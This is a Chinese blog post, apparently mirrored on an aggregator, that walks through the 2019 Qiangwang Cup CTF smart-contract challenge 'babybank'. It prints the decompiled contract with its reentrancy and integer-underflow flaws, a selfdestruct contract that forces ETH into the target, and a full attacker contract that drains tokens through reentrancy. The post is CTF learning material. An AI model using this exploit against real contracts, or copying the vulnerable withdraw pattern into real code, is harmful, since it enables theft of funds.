zoukankan      html  css  js  c++  java
  • 2019强网杯babybank writeup及浅析

    前言

    2019强网杯CTF智能合约题目--babybank wp及浅析

     

    ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来

    分析

    反编译

    使用OnlineSolidityDecompiler对合约进行逆向,获取合约源码伪代码

     

     

     

    参考其他师傅的分析,贴出美化之后的合约源码

    pragma solidity ^0.4.23;
    ​
    contract babybank {
        // 0xe3d670d7 0
        mapping(address => uint) public balance;
        // 0xd41b6db6 1
        mapping(address => uint) public level;
        // 2
        address owner;
        // 3
        uint secret;
    ​
        //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
        //Gmail is ok. 163 and qq may have some problems.
        event sendflag(string md5ofteamtoken,string b64email); 
    ​
        constructor()public{
            owner = msg.sender;
        }
    ​
        //0x8c0320de
        function payforflag(string md5ofteamtoken,string b64email) public{
            require(balance[msg.sender] >= 10000000000);
            balance[msg.sender]=0;
            owner.transfer(address(this).balance);
            emit sendflag(md5ofteamtoken,b64email);
        }
    ​
        modifier onlyOwner(){
            require(msg.sender == owner);
            _;
        }
    ​
        //0x2e1a7d4d
        function withdraw(uint256 amount) public {
            require(amount == 2);
            require(amount <= balance[msg.sender]);
            // 重入漏洞
            address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)();
            // 整形下溢出
            balance[msg.sender] -= amount;
        }
    ​
        //0x66d16cc3
        function profit() public {
            require(level[msg.sender] == 0);
            require(msg.sender & 0xffff == 0xb1b1);
    ​
            balance[msg.sender] += 1;
            level[msg.sender] += 1;
        }
    ​
        // 0xa5e9585f
        function xxx(uint256 number) public onlyOwner {
            secret = number;
        }
    ​
        // 0x9189fec1
        function guess(uint256 number) public {
            require(number == secret);
            require(level[msg.sender] == 1);
    ​
            balance[msg.sender] += 1;
            level[msg.sender] += 1;
        }
    ​
        // 0xa9059cbb
        function transfer(address to, uint256 amount) public {
            require(balance[msg.sender] >= amount);
            require(amount == 2);
            require(level[msg.sender] == 2);
    ​
            balance[msg.sender] = 0;
            balance[to] = amount;
        }
    }

    赋予合约ETH

    合约初始状态无ETH,无法执行操作,故需让合约地址拥有一定量的ETH

    而合约代码中并没有相关可以转入ETH的操作,因此只能通过带入ETH执行自毁让ETH强行转入合约地址中

     

    构造自毁函数kill

    function kill() public payable {
        selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));
    }

    带入0.2ETH利用kill函数自销毁,强行向合约转入0.2ETH

     

    绕过利用分析

    合约发起sendflag需要超过10000000000的token

    withdraw函数存在重入漏洞以及整型下溢出

     

    但限制了一次只能取款2token以及取款者账户token需要大于等于2

    再来看如何增加token

     

    增加token的函数只有profitguess两个函数

    profit函数验证地址低4位为0xb1b1;且只能在初始状态即level=0的时候调用一次,调用一次之后level提升为1,balance+1

    guess函数会验证secret值,而secret值由只能合约所有者调用的xxx函数赋予;且需要level=1,调用一次之后level提升为2,balance+1

     

    那么函数调用流程就出来了,先profit()guess()

    profit函数的绕过,可通过vanity eth获取一个符合条件的地址

    guess函数的绕过,secret值在合约交易信息中可找到

     

    合约部署者的最后一次交易事件中,InputData函数选择器中,前4个字节0xa5e9585fxxx函数的函数签名,其参数就是部署者调用xxx函数所传入的参数,即为secret

     

     

     

    至此,通过了profitguess,满足withdraw的取款条件

    由于withdraw函数存在重入漏洞以及溢出

    构造攻击合约,利用重入漏洞以及溢出可获取巨额代币,并发起payforflag操作

    pragma solidity ^0.4.24;
    ​
    interface BabybankInterface {
        function withdraw(uint256 amount) external;
        function profit() external;
        function guess(uint256 number) external;
        function transfer(address to, uint256 amount) external;
        function payforflag(string md5ofteamtoken, string b64email) external;
    }
    ​
    contract attacker {
    ​
        BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);
    ​
        uint private flag = 0;
    ​
        function exploit() public payable {
            target.profit();
            target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
            target.withdraw(2);
            target.payforflag("hunya", "hunya");
        }
    ​
        function() external payable {
            require (flag == 0);
            flag = 1;
            target.withdraw(2);
        }
    }

     

    合约交易记录中可看到一系列操作,最后的一个交易是将合约中的ETH全部提现到合约所有者地址中,应该是清空ETH为了让下一个做题者又从合约0ETH状态开始做

     

    查看事件记录,已有sendflag事件

     

     

     

    参考

    https://zhuanlan.zhihu.com/p/67205187

    https://xz.aliyun.com/t/5281

  • 相关阅读:
    Git使用
    sql 索引【转】
    SpringBoot | 第三十八章:基于RabbitMQ实现消息延迟队列方案
    SpringBoot | 第三十七章:集成Jasypt实现配置项加密
    SpringBoot | 第三十六章:集成多CacheManager
    分布式定时器的一些解决方案
    SpringBoot | 第三十五章:Mybatis的集成和使用
    SpringBoot | 第三十四章:CXF构建WebService服务
    SpringBoot | 第三十三章:Spring web Servcies集成和使用
    SpringBoot | 第三十二章:事件的发布和监听
  • 原文地址:https://www.cnblogs.com/hun-ya/p/11414542.html
Copyright © 2011-2022 走看看